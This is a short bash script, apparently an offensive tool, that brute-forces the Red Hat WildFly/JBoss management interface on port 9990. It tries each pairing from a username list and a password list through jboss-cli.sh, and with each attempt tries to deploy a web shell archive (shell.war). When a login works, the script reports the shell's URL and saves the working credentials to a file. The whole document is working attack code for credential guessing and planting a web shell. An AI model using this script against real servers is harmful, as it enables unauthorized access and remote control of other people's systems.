redhat wildfly jboss shell brutforce Management Interface

#!/bin/bash
# Sun Feb 18 14:17:10 CET 2018
JBOSSBIN="."
WAR="/opt/war/shell.war"
HOST=$1
passlist="passwordlist.txt"
userlist="userlist.txt"
saveas="SUCCESS_eap.txt"

function exploit {
echo -e "
         This module attempts to login to redhat wildfly,
         jboss instance using username and password combinations
        "
while IFS='' read -r usr || [[ -n "$usr" ]]; do
   while IFS='' read -r passwd || [[ -n "$passwd" ]]; do
         if [[ $($JBOSSBIN/jboss-cli.sh -c controller=$HOST:9990 --user=$usr --password=$passwd --command="deploy $WAR" | awk {'print $1'} | awk NR==1) ==  "Failed" ]]
         then
            echo "[-] Fail login with user: $usr AND password: $passwd"
         else
            echo "[+] Correct credentials ..."
            echo -e " |  Success login with user: $usr AND password: $passwd"
            echo -e " |  Shell available on: http://$HOST:8080/shell"
            echo -e " |  Management Interface available on: http://$HOST:9990"
            echo -e " |_ Write credential to : $saveas"
            echo -e "$HOST:9990 - $usr:$passwd" >> $saveas
            exit
         fi
    done < "$passlist"
done < "$userlist"
}
exploit